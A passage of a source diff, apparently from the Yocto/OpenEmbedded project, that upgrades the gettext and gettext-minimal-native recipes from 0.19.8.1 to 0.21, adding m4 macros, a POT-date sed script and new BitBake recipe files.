+ POTFILES_DEPS="$POTFILES_DEPS "'$(top_srcdir)/'"$file"
+ done
+ POMAKEFILEDEPS=""
+
+ if test -n "$OBSOLETE_ALL_LINGUAS"; then
+ test -n "$as_me" && echo "$as_me: setting ALL_LINGUAS in configure.in is obsolete" || echo "setting ALL_LINGUAS in configure.in is obsolete"
+ fi
+ if test -f "$ac_given_srcdir/$ac_dir/LINGUAS"; then
+ # The LINGUAS file contains the set of available languages.
+ ALL_LINGUAS=`sed -e "/^#/d" -e "s/#.*//" "$ac_given_srcdir/$ac_dir/LINGUAS"`
+ POMAKEFILEDEPS="$POMAKEFILEDEPS LINGUAS"
+ else
+ # Set ALL_LINGUAS to the value of the Makefile variable LINGUAS.
+ sed_x_LINGUAS=`$gt_echo "$sed_x_variable" | sed -e '/^ *#/d' -e 's/VARIABLE/LINGUAS/g'`
+ ALL_LINGUAS=`sed -n -e "$sed_x_LINGUAS" < "$ac_file"`
+ fi
+ # Compute POFILES
+ # as $(foreach lang, $(ALL_LINGUAS), $(srcdir)/$(lang).po)
+ # Compute UPDATEPOFILES
+ # as $(foreach lang, $(ALL_LINGUAS), $(lang).po-update)
+ # Compute DUMMYPOFILES
+ # as $(foreach lang, $(ALL_LINGUAS), $(lang).nop)
+ # Compute GMOFILES
+ # as $(foreach lang, $(ALL_LINGUAS), $(srcdir)/$(lang).gmo)
+ # Compute PROPERTIESFILES
+ # as $(foreach lang, $(ALL_LINGUAS), $(srcdir)/$(DOMAIN)_$(lang).properties)
+ # Compute CLASSFILES
+ # as $(foreach lang, $(ALL_LINGUAS), $(srcdir)/$(DOMAIN)_$(lang).class)
+ # Compute QMFILES
+ # as $(foreach lang, $(ALL_LINGUAS), $(srcdir)/$(lang).qm)
+ # Compute MSGFILES
+ # as $(foreach lang, $(ALL_LINGUAS), $(srcdir)/$(frob $(lang)).msg)
+ # Compute RESOURCESDLLFILES
+ # as $(foreach lang, $(ALL_LINGUAS), $(srcdir)/$(frob $(lang))/$(DOMAIN).resources.dll)
+ case "$ac_given_srcdir" in
+ .) srcdirpre= ;;
+ *) srcdirpre='$(srcdir)/' ;;
+ esac
+ POFILES=
+ UPDATEPOFILES=
+ DUMMYPOFILES=
+ GMOFILES=
+ PROPERTIESFILES=
+ CLASSFILES=
+ QMFILES=
+ MSGFILES=
+ RESOURCESDLLFILES=
+ for lang in $ALL_LINGUAS; do
+ POFILES="$POFILES $srcdirpre$lang.po"
+ UPDATEPOFILES="$UPDATEPOFILES $lang.po-update"
+ DUMMYPOFILES="$DUMMYPOFILES $lang.nop"
+ GMOFILES="$GMOFILES $srcdirpre$lang.gmo"
+ PROPERTIESFILES="$PROPERTIESFILES \$(srcdir)/\$(DOMAIN)_$lang.properties"
+ CLASSFILES="$CLASSFILES \$(srcdir)/\$(DOMAIN)_$lang.class"
+ QMFILES="$QMFILES $srcdirpre$lang.qm"
+ frobbedlang=`echo $lang | sed -e 's/\..*$//' -e 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/'`
+ MSGFILES="$MSGFILES $srcdirpre$frobbedlang.msg"
+ frobbedlang=`echo $lang | sed -e 's/_/-/g' -e 's/^sr-CS/sr-SP/' -e 's/@latin$/-Latn/' -e 's/@cyrillic$/-Cyrl/' -e 's/^sr-SP$/sr-SP-Latn/' -e 's/^uz-UZ$/uz-UZ-Latn/'`
+ RESOURCESDLLFILES="$RESOURCESDLLFILES $srcdirpre$frobbedlang/\$(DOMAIN).resources.dll"
+ done
+ # CATALOGS depends on both $ac_dir and the user's LINGUAS
+ # environment variable.
+ INST_LINGUAS=
+ if test -n "$ALL_LINGUAS"; then
+ for presentlang in $ALL_LINGUAS; do
+ useit=no
+ if test "%UNSET%" != "$LINGUAS"; then
+ desiredlanguages="$LINGUAS"
+ else
+ desiredlanguages="$ALL_LINGUAS"
+ fi
+ for desiredlang in $desiredlanguages; do
+ # Use the presentlang catalog if desiredlang is
+ # a. equal to presentlang, or
+ # b. a variant of presentlang (because in this case,
+ # presentlang can be used as a fallback for messages
+ # which are not translated in the desiredlang catalog).
+ case "$desiredlang" in
+ "$presentlang"*) useit=yes;;
+ esac
+ done
+ if test $useit = yes; then
+ INST_LINGUAS="$INST_LINGUAS $presentlang"
+ fi
+ done
+ fi
+ CATALOGS=
+ JAVACATALOGS=
+ QTCATALOGS=
+ TCLCATALOGS=
+ CSHARPCATALOGS=
+ if test -n "$INST_LINGUAS"; then
+ for lang in $INST_LINGUAS; do
+ CATALOGS="$CATALOGS $lang.gmo"
+ JAVACATALOGS="$JAVACATALOGS \$(DOMAIN)_$lang.properties"
+ QTCATALOGS="$QTCATALOGS $lang.qm"
+ frobbedlang=`echo $lang | sed -e 's/\..*$//' -e 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/'`
+ TCLCATALOGS="$TCLCATALOGS $frobbedlang.msg"
+ frobbedlang=`echo $lang | sed -e 's/_/-/g' -e 's/^sr-CS/sr-SP/' -e 's/@latin$/-Latn/' -e 's/@cyrillic$/-Cyrl/' -e 's/^sr-SP$/sr-SP-Latn/' -e 's/^uz-UZ$/uz-UZ-Latn/'`
+ CSHARPCATALOGS="$CSHARPCATALOGS $frobbedlang/\$(DOMAIN).resources.dll"
+ done
+ fi
+
+ sed -e "s|@POTFILES_DEPS@|$POTFILES_DEPS|g" -e "s|@POFILES@|$POFILES|g" -e "s|@UPDATEPOFILES@|$UPDATEPOFILES|g" -e "s|@DUMMYPOFILES@|$DUMMYPOFILES|g" -e "s|@GMOFILES@|$GMOFILES|g" -e "s|@PROPERTIESFILES@|$PROPERTIESFILES|g" -e "s|@CLASSFILES@|$CLASSFILES|g" -e "s|@QMFILES@|$QMFILES|g" -e "s|@MSGFILES@|$MSGFILES|g" -e "s|@RESOURCESDLLFILES@|$RESOURCESDLLFILES|g" -e "s|@CATALOGS@|$CATALOGS|g" -e "s|@JAVACATALOGS@|$JAVACATALOGS|g" -e "s|@QTCATALOGS@|$QTCATALOGS|g" -e "s|@TCLCATALOGS@|$TCLCATALOGS|g" -e "s|@CSHARPCATALOGS@|$CSHARPCATALOGS|g" -e 's,^#distdir:,distdir:,' < "$ac_file" > "$ac_file.tmp"
+ tab=`printf '\t'`
+ if grep -l '@TCLCATALOGS@' "$ac_file" > /dev/null; then
+ # Add dependencies that cannot be formulated as a simple suffix rule.
+ for lang in $ALL_LINGUAS; do
+ frobbedlang=`echo $lang | sed -e 's/\..*$//' -e 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/'`
+ cat >> "$ac_file.tmp" <<EOF
+$frobbedlang.msg: $lang.po
+${tab}@echo "\$(MSGFMT) -c --tcl -d \$(srcdir) -l $lang $srcdirpre$lang.po"; \
+${tab}\$(MSGFMT) -c --tcl -d "\$(srcdir)" -l $lang $srcdirpre$lang.po || { rm -f "\$(srcdir)/$frobbedlang.msg"; exit 1; }
+EOF
+ done
+ fi
+ if grep -l '@CSHARPCATALOGS@' "$ac_file" > /dev/null; then
+ # Add dependencies that cannot be formulated as a simple suffix rule.
+ for lang in $ALL_LINGUAS; do
+ frobbedlang=`echo $lang | sed -e 's/_/-/g' -e 's/^sr-CS/sr-SP/' -e 's/@latin$/-Latn/' -e 's/@cyrillic$/-Cyrl/' -e 's/^sr-SP$/sr-SP-Latn/' -e 's/^uz-UZ$/uz-UZ-Latn/'`
+ cat >> "$ac_file.tmp" <<EOF
+$frobbedlang/\$(DOMAIN).resources.dll: $lang.po
+${tab}@echo "\$(MSGFMT) -c --csharp -d \$(srcdir) -l $lang $srcdirpre$lang.po -r \$(DOMAIN)"; \
+${tab}\$(MSGFMT) -c --csharp -d "\$(srcdir)" -l $lang $srcdirpre$lang.po -r "\$(DOMAIN)" || { rm -f "\$(srcdir)/$frobbedlang.msg"; exit 1; }
+EOF
+ done
+ fi
+ if test -n "$POMAKEFILEDEPS"; then
+ cat >> "$ac_file.tmp" <<EOF
+Makefile: $POMAKEFILEDEPS
+EOF
+ fi
+ mv "$ac_file.tmp" "$ac_file"
+])
+
+dnl Initializes the accumulator used by AM_XGETTEXT_OPTION.
+AC_DEFUN([AM_XGETTEXT_OPTION_INIT],
+[
+ XGETTEXT_EXTRA_OPTIONS=
+])
+
+dnl Registers an option to be passed to xgettext in the po subdirectory.
+AC_DEFUN([AM_XGETTEXT_OPTION],
+[
+ AC_REQUIRE([AM_XGETTEXT_OPTION_INIT])
+ XGETTEXT_EXTRA_OPTIONS="$XGETTEXT_EXTRA_OPTIONS $1"
+])
diff --git a/meta/recipes-core/gettext/gettext-minimal-0.21/aclocal/progtest.m4 b/meta/recipes-core/gettext/gettext-minimal-0.21/aclocal/progtest.m4
new file mode 100644
index 0000000000..f28010aed1
--- /dev/null
+++ b/meta/recipes-core/gettext/gettext-minimal-0.21/aclocal/progtest.m4
@@ -0,0 +1,91 @@
+# progtest.m4 serial 8 (gettext-0.20.2)
+dnl Copyright (C) 1996-2003, 2005, 2008-2020 Free Software Foundation, Inc.
+dnl This file is free software; the Free Software Foundation
+dnl gives unlimited permission to copy and/or distribute it,
+dnl with or without modifications, as long as this notice is preserved.
+dnl
+dnl This file can be used in projects which are not available under
+dnl the GNU General Public License or the GNU Lesser General Public
+dnl License but which still want to provide support for the GNU gettext
+dnl functionality.
+dnl Please note that the actual code of the GNU gettext library is covered
+dnl by the GNU Lesser General Public License, and the rest of the GNU
+dnl gettext package is covered by the GNU General Public License.
+dnl They are *not* in the public domain.
+
+dnl Authors:
+dnl Ulrich Drepper <drepper@cygnus.com>, 1996.
+
+AC_PREREQ([2.50])
+
+# Search path for a program which passes the given test.
+
+dnl AM_PATH_PROG_WITH_TEST(VARIABLE, PROG-TO-CHECK-FOR,
+dnl TEST-PERFORMED-ON-FOUND_PROGRAM [, VALUE-IF-NOT-FOUND [, PATH]])
+AC_DEFUN([AM_PATH_PROG_WITH_TEST],
+[
+# Prepare PATH_SEPARATOR.
+# The user is always right.
+if test "${PATH_SEPARATOR+set}" != set; then
+ # Determine PATH_SEPARATOR by trying to find /bin/sh in a PATH which
+ # contains only /bin. Note that ksh looks also at the FPATH variable,
+ # so we have to set that as well for the test.
+ PATH_SEPARATOR=:
+ (PATH='/bin;/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 \
+ && { (PATH='/bin:/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 \
+ || PATH_SEPARATOR=';'
+ }
+fi
+
+# Find out how to test for executable files. Don't use a zero-byte file,
+# as systems may use methods other than mode bits to determine executability.
+cat >conf$$.file <<_ASEOF
+#! /bin/sh
+exit 0
+_ASEOF
+chmod +x conf$$.file
+if test -x conf$$.file >/dev/null 2>&1; then
+ ac_executable_p="test -x"
+else
+ ac_executable_p="test -f"
+fi
+rm -f conf$$.file
+
+# Extract the first word of "$2", so it can be a program name with args.
+set dummy $2; ac_word=[$]2
+AC_MSG_CHECKING([for $ac_word])
+AC_CACHE_VAL([ac_cv_path_$1],
+[case "[$]$1" in
+ [[\\/]]* | ?:[[\\/]]*)
+ ac_cv_path_$1="[$]$1" # Let the user override the test with a path.
+ ;;
+ *)
+ ac_save_IFS="$IFS"; IFS=$PATH_SEPARATOR
+ for ac_dir in ifelse([$5], , $PATH, [$5]); do
+ IFS="$ac_save_IFS"
+ test -z "$ac_dir" && ac_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if $ac_executable_p "$ac_dir/$ac_word$ac_exec_ext"; then
+ echo "$as_me: trying $ac_dir/$ac_word..." >&AS_MESSAGE_LOG_FD
+ if [$3]; then
+ ac_cv_path_$1="$ac_dir/$ac_word$ac_exec_ext"
+ break 2
+ fi
+ fi
+ done
+ done
+ IFS="$ac_save_IFS"
+dnl If no 4th arg is given, leave the cache variable unset,
+dnl so AC_PATH_PROGS will keep looking.
+ifelse([$4], , , [ test -z "[$]ac_cv_path_$1" && ac_cv_path_$1="$4"
+])dnl
+ ;;
+esac])dnl
+$1="$ac_cv_path_$1"
+if test ifelse([$4], , [-n "[$]$1"], ["[$]$1" != "$4"]); then
+ AC_MSG_RESULT([$][$1])
+else
+ AC_MSG_RESULT([no])
+fi
+AC_SUBST([$1])dnl
+])
diff --git a/meta/recipes-core/gettext/gettext-minimal-0.19.8.1/config.rpath b/meta/recipes-core/gettext/gettext-minimal-0.21/config.rpath
index 98183ff2f2..24be79cfb6 100755
--- a/meta/recipes-core/gettext/gettext-minimal-0.19.8.1/config.rpath
+++ b/meta/recipes-core/gettext/gettext-minimal-0.21/config.rpath
@@ -2,7 +2,7 @@
# Output a system dependent set of variables, describing how to set the
# run time search path of shared libraries in an executable.
#
-# Copyright 1996-2016 Free Software Foundation, Inc.
+# Copyright 1996-2020 Free Software Foundation, Inc.
# Taken from GNU libtool, 2001
# Originally by Gordon Matzigkeit <gord@gnu.ai.mit.edu>, 1996
#
diff --git a/meta/recipes-core/gettext/gettext-minimal-0.21/remove-potcdate.sin b/meta/recipes-core/gettext/gettext-minimal-0.21/remove-potcdate.sin
new file mode 100644
index 0000000000..8c70dfbf14
--- /dev/null
+++ b/meta/recipes-core/gettext/gettext-minimal-0.21/remove-potcdate.sin
@@ -0,0 +1,25 @@
+# Sed script that removes the POT-Creation-Date line in the header entry
+# from a POT file.
+#
+# Copyright (C) 2002 Free Software Foundation, Inc.
+# Copying and distribution of this file, with or without modification,
+# are permitted in any medium without royalty provided the copyright
+# notice and this notice are preserved. This file is offered as-is,
+# without any warranty.
+#
+# The distinction between the first and the following occurrences of the
+# pattern is achieved by looking at the hold space.
+/^"POT-Creation-Date: .*"$/{
+x
+# Test if the hold space is empty.
+s/P/P/
+ta
+# Yes it was empty. First occurrence. Remove the line.
+g
+d
+bb
+:a
+# The hold space was nonempty. Following occurrences. Do nothing.
+x
+:b
+}
diff --git a/meta/recipes-core/gettext/gettext-minimal-native_0.19.8.1.bb b/meta/recipes-core/gettext/gettext-minimal-native_0.19.8.1.bb
deleted file mode 100644
index 26ff19975d..0000000000
--- a/meta/recipes-core/gettext/gettext-minimal-native_0.19.8.1.bb
+++ /dev/null
@@ -1,31 +0,0 @@
-SUMMARY = "Minimal gettext for supporting native autoconf/automake"
-DESCRIPTION = "Contains the m4 macros sufficient to support building \
-autoconf/automake. This provides a significant build time speedup by \
-the removal of gettext-native from most dependency chains (now only \
-needed for gettext for the target)."
-SRC_URI = "file://aclocal.tgz \
- file://config.rpath \
- file://Makefile.in.in \
- file://remove-potcdate.sin \
- file://COPYING \
- file://0001-PATCH-Disable-the-test-to-convert-euc-jp.patch \
-"
-
-INHIBIT_DEFAULT_DEPS = "1"
-INHIBIT_AUTOTOOLS_DEPS = "1"
-
-LICENSE = "FSF-Unlimited"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4bd090a20bfcd1a18f1f79837b5e3e91"
-
-inherit native
-
-S = "${WORKDIR}"
-
-do_install () {
- install -d ${D}${datadir}/aclocal/
- cp ${WORKDIR}/*.m4 ${D}${datadir}/aclocal/
- install -d ${D}${datadir}/gettext/po/
- cp ${WORKDIR}/config.rpath ${D}${datadir}/gettext/
- cp ${WORKDIR}/Makefile.in.in ${D}${datadir}/gettext/po/
- cp ${WORKDIR}/remove-potcdate.sin ${D}${datadir}/gettext/po/
-}
diff --git a/meta/recipes-core/gettext/gettext-minimal-native_0.21.bb b/meta/recipes-core/gettext/gettext-minimal-native_0.21.bb
new file mode 100644
index 0000000000..7a4dcbec57
--- /dev/null
+++ b/meta/recipes-core/gettext/gettext-minimal-native_0.21.bb
@@ -0,0 +1,30 @@
+SUMMARY = "Minimal gettext for supporting native autoconf/automake"
+DESCRIPTION = "Contains the m4 macros sufficient to support building \
+autoconf/automake. This provides a significant build time speedup by \
+the removal of gettext-native from most dependency chains (now only \
+needed for gettext for the target)."
+SRC_URI = "file://aclocal/ \
+ file://config.rpath \
+ file://Makefile.in.in \
+ file://remove-potcdate.sin \
+ file://COPYING \
+"
+
+INHIBIT_DEFAULT_DEPS = "1"
+INHIBIT_AUTOTOOLS_DEPS = "1"
+
+LICENSE = "FSF-Unlimited"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4bd090a20bfcd1a18f1f79837b5e3e91"
+
+inherit native
+
+S = "${WORKDIR}"
+
+do_install () {
+ install -d ${D}${datadir}/aclocal/
+ cp ${WORKDIR}/aclocal/*.m4 ${D}${datadir}/aclocal/
+ install -d ${D}${datadir}/gettext/po/
+ cp ${WORKDIR}/config.rpath ${D}${datadir}/gettext/
+ cp ${WORKDIR}/Makefile.in.in ${D}${datadir}/gettext/po/
+ cp ${WORKDIR}/remove-potcdate.sin ${D}${datadir}/gettext/po/
+}
diff --git a/meta/recipes-core/gettext/gettext_0.19.8.1.bb b/meta/recipes-core/gettext/gettext_0.19.8.1.bb
deleted file mode 100644
index 30121ad23e..0000000000
--- a/meta/recipes-core/gettext/gettext_0.19.8.1.bb
+++ /dev/null
@@ -1,188 +0,0 @@
-SUMMARY = "Utilities and libraries for producing multi-lingual messages"
-DESCRIPTION = "GNU gettext is a set of tools that provides a framework to help other programs produce multi-lingual messages. \
-These tools include a set of conventions about how programs should be written to support message catalogs, a directory and file \
-naming organization for the message catalogs themselves, a runtime library supporting the retrieval of translated messages, and \
-a few stand-alone programs to massage in various ways the sets of translatable and already translated strings."
-HOMEPAGE = "http://www.gnu.org/software/gettext/gettext.html"
-SECTION = "libs"
-LICENSE = "GPLv3+ & LGPL-2.1+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-
-# Because po-gram-gen.y has been modified by fix-CVE-2018-18751.patch,
-# it requires yacc which provided by bison-native
-# Please remove bison-native from DEPENDS* when next upgrade
-DEPENDS = "bison-native gettext-native virtual/libiconv"
-DEPENDS_class-native = "bison-native gettext-minimal-native"
-PROVIDES = "virtual/libintl virtual/gettext"
-PROVIDES_class-native = "virtual/gettext-native"
-RCONFLICTS_${PN} = "proxy-libintl"
-SRC_URI = "${GNU_MIRROR}/gettext/gettext-${PV}.tar.gz \
- file://parallel.patch \
- file://add-with-bisonlocaledir.patch \
- file://cr-statement.c-timsort.h-fix-formatting-issues.patch \
- file://use-pkgconfig.patch \
- file://fix-CVE-2018-18751.patch \
- file://run-ptest \
- file://serial-tests-config.patch \
-"
-
-SRC_URI[md5sum] = "97e034cf8ce5ba73a28ff6c3c0638092"
-SRC_URI[sha256sum] = "ff942af0e438ced4a8b0ea4b0b6e0d6d657157c5e2364de57baa279c1c125c43"
-
-inherit autotools texinfo pkgconfig ptest
-
-EXTRA_OECONF += "--without-lispdir \
- --disable-csharp \
- --disable-libasprintf \
- --disable-java \
- --disable-native-java \
- --disable-openmp \
- --disable-acl \
- --without-emacs \
- --without-cvs \
- --without-git \
- --cache-file=${B}/config.cache \
- "
-EXTRA_OECONF_append_class-target = " \
- --with-bisonlocaledir=${datadir}/locale \
-"
-
-PACKAGECONFIG ??= "croco glib libxml"
-PACKAGECONFIG_class-native = ""
-PACKAGECONFIG_class-nativesdk = ""
-
-PACKAGECONFIG[croco] = "--without-included-libcroco,--with-included-libcroco,libcroco"
-PACKAGECONFIG[glib] = "--without-included-glib,--with-included-glib,glib-2.0"
-PACKAGECONFIG[libxml] = "--without-included-libxml,--with-included-libxml,libxml2"
-# Need paths here to avoid host contamination but this can cause RPATH warnings
-# or problems if $libdir isn't $prefix/lib.
-PACKAGECONFIG[libunistring] = "--with-libunistring-prefix=${STAGING_LIBDIR}/..,--with-included-libunistring,libunistring"
-PACKAGECONFIG[msgcat-curses] = "--with-libncurses-prefix=${STAGING_LIBDIR}/..,--disable-curses,ncurses,"
-
-acpaths = '-I ${S}/gettext-runtime/m4 \
- -I ${S}/gettext-tools/m4'
-
-do_install_append_libc-musl () {
- rm -f ${D}${libdir}/charset.alias
- rm -f ${D}${includedir}/libintl.h
- rm -f ${D}${libdir}/libintl.la
-}
-
-# these lack the .x behind the .so, but shouldn't be in the -dev package
-# Otherwise you get the following results:
-# 7.4M glibc/images/ep93xx/Angstrom-console-image-glibc-ipk-2008.1-test-20080104-ep93xx.rootfs.tar.gz
-# 25M uclibc/images/ep93xx/Angstrom-console-image-uclibc-ipk-2008.1-test-20080104-ep93xx.rootfs.tar.gz
-# because gettext depends on gettext-dev, which pulls in more -dev packages:
-# 15228 KiB /ep93xx/libstdc++-dev_4.2.2-r2_ep93xx.ipk
-# 1300 KiB /ep93xx/uclibc-dev_0.9.29-r8_ep93xx.ipk
-# 140 KiB /armv4t/gettext-dev_0.14.1-r6_armv4t.ipk
-# 4 KiB /ep93xx/libgcc-s-dev_4.2.2-r2_ep93xx.ipk
-
-PACKAGES =+ "libgettextlib libgettextsrc"
-FILES_libgettextlib = "${libdir}/libgettextlib-*.so*"
-FILES_libgettextsrc = "${libdir}/libgettextsrc-*.so*"
-
-PACKAGES =+ "gettext-runtime gettext-runtime-dev gettext-runtime-doc"
-
-FILES_${PN} += "${libdir}/${BPN}/*"
-
-# The its/Makefile.am has defined:
-# itsdir = $(pkgdatadir)$(PACKAGE_SUFFIX)/its
-# not itsdir = $(pkgdatadir), so use wildcard to match the version.
-FILES_${PN} += "${datadir}/${BPN}-*/*"
-
-FILES_gettext-runtime = "${bindir}/gettext \
- ${bindir}/ngettext \
- ${bindir}/envsubst \
- ${bindir}/gettext.sh \
- ${libdir}/libasprintf.so* \
- ${libdir}/GNU.Gettext.dll \
- "
-FILES_gettext-runtime-dev += "${libdir}/libasprintf.a \
- ${includedir}/autosprintf.h \
- "
-FILES_gettext-runtime-doc = "${mandir}/man1/gettext.* \
- ${mandir}/man1/ngettext.* \
- ${mandir}/man1/envsubst.* \
- ${mandir}/man1/.* \
- ${mandir}/man3/* \
- ${docdir}/gettext/gettext.* \
- ${docdir}/gettext/ngettext.* \
- ${docdir}/gettext/envsubst.* \
- ${docdir}/gettext/*.3.html \
- ${datadir}/gettext/ABOUT-NLS \
- ${docdir}/gettext/csharpdoc/* \
- ${docdir}/libasprintf/autosprintf.html \
- ${infodir}/autosprintf.info \
- "
-
-do_install_append() {
- rm -f ${D}${libdir}/preloadable_libintl.so
-}
-
-do_install_append_class-native () {
- rm ${D}${datadir}/aclocal/*
- rm ${D}${datadir}/gettext/config.rpath
- rm ${D}${datadir}/gettext/po/Makefile.in.in
- rm ${D}${datadir}/gettext/po/remove-potcdate.sin
-
- create_wrapper ${D}${bindir}/msgfmt \
- GETTEXTDATADIR="${STAGING_DATADIR_NATIVE}/gettext-0.19.8/"
-
-}
-
-do_compile_ptest() {
- cd ${B}/gettext-tools/tests/
- sed -i '/^buildtest-TESTS: /c buildtest-TESTS: $(TESTS) $(check_PROGRAMS)' Makefile
- oe_runmake buildtest-TESTS
- cd -
-}
-
-do_install_ptest() {
- if [ ${PTEST_ENABLED} = "1" ]; then
- mkdir -p ${D}${PTEST_PATH}/tests
- mkdir -p ${D}${PTEST_PATH}/src
- mkdir -p ${D}${PTEST_PATH}/po
- mkdir -p ${D}${PTEST_PATH}/misc
- cp -rf ${S}/gettext-tools/tests/* ${D}${PTEST_PATH}/tests
- cp -rf ${B}/gettext-tools/tests/.libs/* ${D}${PTEST_PATH}/tests
- cp -rf ${B}/gettext-runtime/intl/.libs/libgnuintl.so.8* ${D}${libdir}/
- cp -rf ${B}/gettext-tools/tests/Makefile ${D}${PTEST_PATH}/tests
- sed -i '/^Makefile:/c Makefile:' ${D}${PTEST_PATH}/tests/Makefile
- sed -i -e 's:CONFIG_SHELL=.*:& LOCALE_FR='fr_FR.iso88591' LOCALE_FR_UTF8='fr_FR.utf8' LOCALE_JA='ja_JP.eucjp':g' \
- -e 's:lang-c lang-c++:lang-c++:g' ${D}${PTEST_PATH}/tests/Makefile
- install ${S}/gettext-tools/src/msgunfmt.tcl ${D}${PTEST_PATH}/src
- install ${S}/gettext-tools/src/project-id ${D}${PTEST_PATH}/src
- install ${B}/gettext-runtime/src/gettext.sh ${D}${PTEST_PATH}/src
- install ${B}/gettext-runtime/src/ngettext ${D}${PTEST_PATH}/src
- install ${B}/gettext-runtime/src/envsubst ${D}${PTEST_PATH}/src
- install ${B}/gettext-runtime/src/gettext ${D}${PTEST_PATH}/src
- install ${B}/gettext-tools/src/.libs/cldr-plurals ${D}${PTEST_PATH}/src
- install ${S}/gettext-tools/po/gettext-tools.pot ${D}${PTEST_PATH}/po
- install ${B}/gettext-tools/misc/* ${D}${PTEST_PATH}/misc
- find ${D}${PTEST_PATH}/ -name "*.o" -exec rm {} \;
- chmod 0755 ${D}${PTEST_PATH}/tests/lang-vala ${D}${PTEST_PATH}/tests/plural-1 ${D}${PTEST_PATH}/tests/xgettext-tcl-4 \
- ${D}${PTEST_PATH}/tests/xgettext-vala-1 ${D}${PTEST_PATH}/tests/xgettext-po-2
- fi
-}
-
-RDEPENDS_${PN}-ptest += "make"
-RDEPENDS_${PN}-ptest_append_libc-glibc = "\
- glibc-gconv-big5 \
- glibc-charmap-big5 \
- glibc-gconv-cp1251 \
- glibc-charmap-cp1251 \
- glibc-charmap-iso-8859-9 \
- glibc-gconv-iso8859-9 \
- glibc-charmap-koi8-r \
- glibc-gconv-koi8-r \
- glibc-gconv-iso8859-2 \
- glibc-charmap-iso-8859-2 \
- glibc-gconv-euc-kr \
- glibc-charmap-euc-kr \
-"
-
-INSANE_SKIP_${PN}-ptest += "ldflags"
-INSANE_SKIP_${PN}-ptest += "rpaths"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-core/gettext/gettext_0.21.bb b/meta/recipes-core/gettext/gettext_0.21.bb
new file mode 100644
index 0000000000..30c1955d86
--- /dev/null
+++ b/meta/recipes-core/gettext/gettext_0.21.bb
@@ -0,0 +1,209 @@
+SUMMARY = "Utilities and libraries for producing multi-lingual messages"
+DESCRIPTION = "GNU gettext is a set of tools that provides a framework to help other programs produce multi-lingual messages. \
+These tools include a set of conventions about how programs should be written to support message catalogs, a directory and file \
+naming organization for the message catalogs themselves, a runtime library supporting the retrieval of translated messages, and \
+a few stand-alone programs to massage in various ways the sets of translatable and already translated strings."
+HOMEPAGE = "http://www.gnu.org/software/gettext/gettext.html"
+SECTION = "libs"
+LICENSE = "GPL-3.0-or-later & LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=c678957b0c8e964aa6c70fd77641a71e"
+
+DEPENDS = "gettext-native virtual/libiconv"
+DEPENDS:class-native = "gettext-minimal-native"
+PROVIDES = "virtual/libintl virtual/gettext"
+PROVIDES:class-native = "virtual/gettext-native"
+RCONFLICTS:${PN} = "proxy-libintl"
+SRC_URI = "${GNU_MIRROR}/gettext/gettext-${PV}.tar.gz \
+ file://parallel.patch \
+ file://use-pkgconfig.patch \
+ file://run-ptest \
+ file://serial-tests-config.patch \
+ file://0001-tests-autopoint-3-unset-MAKEFLAGS.patch \
+ file://0001-init-env.in-do-not-add-C-CXX-parameters.patch \
+ file://mingw.patch \
+ file://0001-msgmerge-29-Add-executable-file-mode-bits.patch \
+ file://0001-libtextstyle-fix-builds-with-automake-1.16.4-and-new.patch \
+ "
+SRC_URI[sha256sum] = "c77d0da3102aec9c07f43671e60611ebff89a996ef159497ce8e59d075786b12"
+
+inherit autotools texinfo pkgconfig ptest
+
+EXTRA_OECONF += "--without-lispdir \
+ --disable-csharp \
+ --disable-libasprintf \
+ --disable-java \
+ --disable-native-java \
+ --disable-openmp \
+ --disable-acl \
+ --without-emacs \
+ --without-cvs \
+ --without-git \
+ --cache-file=${B}/config.cache \
+ "
+EXTRA_OECONF:append:class-target = " \
+ --with-bisonlocaledir=${datadir}/locale \
+ gt_cv_locale_fr_utf8=fr_FR \
+ gt_cv_locale_fr=fr_FR.ISO-8859-1 \
+ gt_cv_locale_de_utf8=de_DE \
+ gt_cv_locale_de=de_DE.ISO-8859-1 \
+"
+
+PACKAGECONFIG ??= "croco glib libxml"
+PACKAGECONFIG:class-native = ""
+PACKAGECONFIG:class-nativesdk = ""
+
+PACKAGECONFIG[croco] = "--without-included-libcroco,--with-included-libcroco,libcroco"
+PACKAGECONFIG[glib] = "--without-included-glib,--with-included-glib,glib-2.0"
+PACKAGECONFIG[libxml] = "--without-included-libxml,--with-included-libxml,libxml2"
+# Need paths here to avoid host contamination but this can cause RPATH warnings
+# or problems if $libdir isn't $prefix/lib.
+PACKAGECONFIG[libunistring] = "--with-libunistring-prefix=${STAGING_LIBDIR}/..,--with-included-libunistring,libunistring"
+PACKAGECONFIG[msgcat-curses] = "--with-libncurses-prefix=${STAGING_LIBDIR}/..,--disable-curses,ncurses,"
+
+acpaths = '-I ${S}/gettext-runtime/m4 \
+ -I ${S}/gettext-tools/m4'
+
+do_install:append:libc-musl () {
+ rm -f ${D}${libdir}/charset.alias
+ rm -f ${D}${includedir}/libintl.h
+ rm -f ${D}${libdir}/libintl.la
+}
+
+# these lack the .x behind the .so, but shouldn't be in the -dev package
+# Otherwise you get the following results:
+# 7.4M glibc/images/ep93xx/Angstrom-console-image-glibc-ipk-2008.1-test-20080104-ep93xx.rootfs.tar.gz
+# 25M uclibc/images/ep93xx/Angstrom-console-image-uclibc-ipk-2008.1-test-20080104-ep93xx.rootfs.tar.gz
+# because gettext depends on gettext-dev, which pulls in more -dev packages:
+# 15228 KiB /ep93xx/libstdc++-dev_4.2.2-r2_ep93xx.ipk
+# 1300 KiB /ep93xx/uclibc-dev_0.9.29-r8_ep93xx.ipk
+# 140 KiB /armv4t/gettext-dev_0.14.1-r6_armv4t.ipk
+# 4 KiB /ep93xx/libgcc-s-dev_4.2.2-r2_ep93xx.ipk
+
+PACKAGES =+ "libgettextlib libgettextsrc"
+FILES:libgettextlib = "${libdir}/libgettextlib-*.so*"
+FILES:libgettextsrc = "${libdir}/libgettextsrc-*.so*"
+
